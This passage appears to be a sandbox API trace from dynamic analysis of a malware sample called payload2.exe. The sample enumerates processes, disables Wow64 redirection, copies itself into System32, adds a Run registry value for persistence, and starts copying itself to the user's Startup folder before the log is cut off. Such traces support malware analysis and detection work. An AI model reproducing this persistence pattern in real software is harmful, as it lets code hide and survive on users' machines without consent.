hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.955] lstrlenW (lpString="svchost.exe") returned 11 [0030.955] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0030.956] lstrlenW (lpString="dwm.exe") returned 7 [0030.956] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0030.957] lstrlenW (lpString="explorer.exe") returned 12 [0030.957] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0030.957] lstrlenW (lpString="spoolsv.exe") returned 11 [0030.957] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0030.958] lstrlenW (lpString="taskhost.exe") returned 12 [0030.958] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0030.958] lstrlenW (lpString="svchost.exe") returned 11 [0030.958] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0030.959] lstrlenW (lpString="taskeng.exe") returned 11 [0030.959] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0030.959] lstrlenW (lpString="taskhost.exe") returned 12 [0030.959] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0030.960] lstrlenW (lpString="presidential.exe") returned 16 [0030.960] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0030.960] lstrlenW (lpString="ol-filing.exe") returned 13 [0030.960] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0030.962] lstrlenW (lpString="overcome.exe") returned 12 [0030.962] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0030.963] lstrlenW (lpString="declinedreferral.exe") returned 20 [0030.963] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0030.963] lstrlenW (lpString="franciscotrack.exe") returned 18 [0030.963] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0030.964] lstrlenW (lpString="nicholas.exe") returned 12 [0030.964] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0030.964] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0030.964] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0030.965] lstrlenW (lpString="word.exe") returned 8 [0030.965] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0030.965] lstrlenW (lpString="semestermeta.exe") returned 16 [0030.965] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0030.966] lstrlenW (lpString="reflects.exe") returned 12 [0030.966] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0030.966] lstrlenW (lpString="beveragesradios.exe") returned 19 [0030.966] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0030.967] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0030.967] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0030.968] lstrlenW (lpString="ground.exe") returned 10 [0030.968] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0030.968] lstrlenW (lpString="least.exe") returned 9 [0030.968] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0030.969] lstrlenW (lpString="meetings.exe") returned 12 [0030.969] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0030.969] lstrlenW (lpString="wooltestimony.exe") returned 17 [0030.969] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0030.970] lstrlenW (lpString="inexpensive.exe") returned 15 [0030.970] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0030.970] lstrlenW (lpString="er-amd.exe") returned 10 [0030.970] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0030.971] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0030.971] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0030.971] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0030.971] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0030.972] lstrlenW (lpString="mobsync.exe") returned 11 [0030.972] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0030.972] lstrlenW (lpString="dllhost.exe") returned 11 [0030.972] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0030.973] lstrlenW (lpString="dllhost.exe") returned 11 [0030.973] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0030.974] lstrlenW (lpString="payload2.exe") returned 12 [0030.974] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 0 [0030.974] CloseHandle (hObject=0xe0) returned 1 [0030.974] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255270 | out: hHeap=0x220000) returned 1 [0030.974] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2552b8 | out: hHeap=0x220000) returned 1 [0030.974] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255300 | out: hHeap=0x220000) returned 1 [0030.974] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255320 | out: hHeap=0x220000) returned 1 [0030.974] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255368 | out: hHeap=0x220000) returned 1 [0030.974] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x254a08 | out: hHeap=0x220000) returned 1 [0030.974] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x234720 | out: hHeap=0x220000) returned 1 [0030.974] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x234758 | out: hHeap=0x220000) returned 1 [0030.974] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x234350 | out: hHeap=0x220000) returned 1 [0030.974] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x234378 | out: hHeap=0x220000) returned 1 [0030.974] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2347a0 | out: hHeap=0x220000) returned 1 [0030.974] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2343a0 | out: hHeap=0x220000) returned 1 [0030.974] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x25b430 [0030.975] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x26b438 [0030.975] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a08 [0030.975] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a08, Size=0x20) returned 0x2343a0 [0030.975] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2343a0, Size=0x40) returned 0x2569b0 [0030.975] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a08 [0030.975] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a08, Size=0x20) returned 0x2343a0 [0030.975] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a08 [0030.975] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a08, Size=0x20) returned 0x234378 [0030.975] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a08 [0030.975] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a08, Size=0x20) returned 0x234350 [0030.975] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234350, Size=0x40) returned 0x2569f8 [0030.975] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26b438, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload2.exe")) returned 0x32 [0030.975] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x27b440 [0030.976] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x28b448 [0030.976] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a08 [0030.976] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a08, Size=0x20) returned 0x234350 [0030.976] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234350, Size=0x40) returned 0x256a40 [0030.976] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x256a40, Size=0x80) returned 0x255270 [0030.976] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x255270, Size=0x100) returned 0x257bb8 [0030.976] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0030.976] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x257bb8 | out: hHeap=0x220000) returned 1 [0030.976] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\payload2.exe", lpDst=0x27b440, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\payload2.exe") returned 0x21 [0030.976] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x28b448 | out: hHeap=0x220000) returned 1 [0030.976] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x27b440 | out: hHeap=0x220000) returned 1 [0030.976] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x100000) returned 0x1fc0020 [0030.976] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a08 [0030.976] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a08, Size=0x20) returned 0x234350 [0030.976] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a08 [0030.976] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a08, Size=0x20) returned 0x255938 [0030.977] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0030.977] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0030.977] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0030.977] lstrlenW (lpString="kernel32.dll") returned 12 [0030.977] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x234350 | out: hHeap=0x220000) returned 1 [0030.977] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0030.977] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255938 | out: hHeap=0x220000) returned 1 [0030.977] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload2.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0030.977] CreateFileW (lpFileName="C:\\Windows\\System32\\payload2.exe" (normalized: "c:\\windows\\system32\\payload2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0030.978] ReadFile (in: hFile=0xe0, lpBuffer=0x1fc0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1fc0020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0030.992] WriteFile (in: hFile=0xe4, lpBuffer=0x1fc0020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1fc0020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0030.995] ReadFile (in: hFile=0xe0, lpBuffer=0x1fc0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1fc0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0030.995] CloseHandle (hObject=0xe4) returned 1 [0030.997] CloseHandle (hObject=0xe0) returned 1 [0030.997] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a08 [0030.997] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a08, Size=0x20) returned 0x255938 [0030.997] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a08 [0030.997] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a08, Size=0x20) returned 0x2558e8 [0030.997] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0030.997] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0030.997] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0030.997] lstrlenW (lpString="kernel32.dll") returned 12 [0030.997] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2558e8 | out: hHeap=0x220000) returned 1 [0030.997] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0030.997] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255938 | out: hHeap=0x220000) returned 1 [0030.997] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x1fc0020 | out: hHeap=0x220000) returned 1 [0031.002] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a08 [0031.002] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a08, Size=0x20) returned 0x255938 [0031.002] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x255938, Size=0x40) returned 0x256a40 [0031.002] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x256a40, Size=0x80) returned 0x27b458 [0031.002] lstrlenW (lpString="C:\\Windows\\System32\\payload2.exe") returned 32 [0031.002] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0031.002] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x5c) returned 0x255270 [0031.002] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0031.002] RegSetValueExW (in: hKey=0xe0, lpValueName="payload2.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\payload2.exe", cbData=0x40 | out: lpData="C:\\Windows\\System32\\payload2.exe") returned 0x0 [0031.003] RegCloseKey (hKey=0xe0) returned 0x0 [0031.003] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255270 | out: hHeap=0x220000) returned 1 [0031.003] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0031.003] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x27b458 | out: hHeap=0x220000) returned 1 [0031.003] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x27d440 [0031.003] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x28d448 [0031.003] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a08 [0031.003] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a08, Size=0x20) returned 0x255938 [0031.003] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x255938, Size=0x40) returned 0x256a40 [0031.003] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x256a40, Size=0x80) returned 0x27b458 [0031.003] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x27b458, Size=0x100) returned 0x257bb8 [0031.003] lstrlenW (lpString="") returned 0 [0031.003] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.003] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8c) returned 0x257cc0 [0031.003] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0031.003] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x28d448, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x28d448*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0031.004] RegCloseKey (hKey=0xe0) returned 0x0 [0031.004] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x257cc0 | out: hHeap=0x220000) returned 1 [0031.004] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.004] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8c) returned 0x257cc0 [0031.004] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0031.004] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x28d448, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0031.004] RegCloseKey (hKey=0xe4) returned 0x0 [0031.004] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x257cc0 | out: hHeap=0x220000) returned 1 [0031.004] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0031.004] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.004] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x257bb8 | out: hHeap=0x220000) returned 1 [0031.004] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe", lpDst=0x27d440, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe") returned 0x69 [0031.004] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x28d448 | out: hHeap=0x220000) returned 1 [0031.004] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x27d440 | out: hHeap=0x220000) returned 1 [0031.004] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x100000) returned 0x1fc0020 [0031.004] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a38 [0031.004] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a38, Size=0x20) returned 0x255938 [0031.004] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a38 [0031.004] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a38, Size=0x20) returned 0x2558e8 [0031.004] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0031.005] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0031.005] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0031.005] lstrlenW (lpString="kernel32.dll") returned 12 [0031.005] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255938 | out: hHeap=0x220000) returned 1 [0031.005] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0031.005] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2558e8 | out: hHeap=0x220000) returned 1 [0031.005] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload2.exe"), 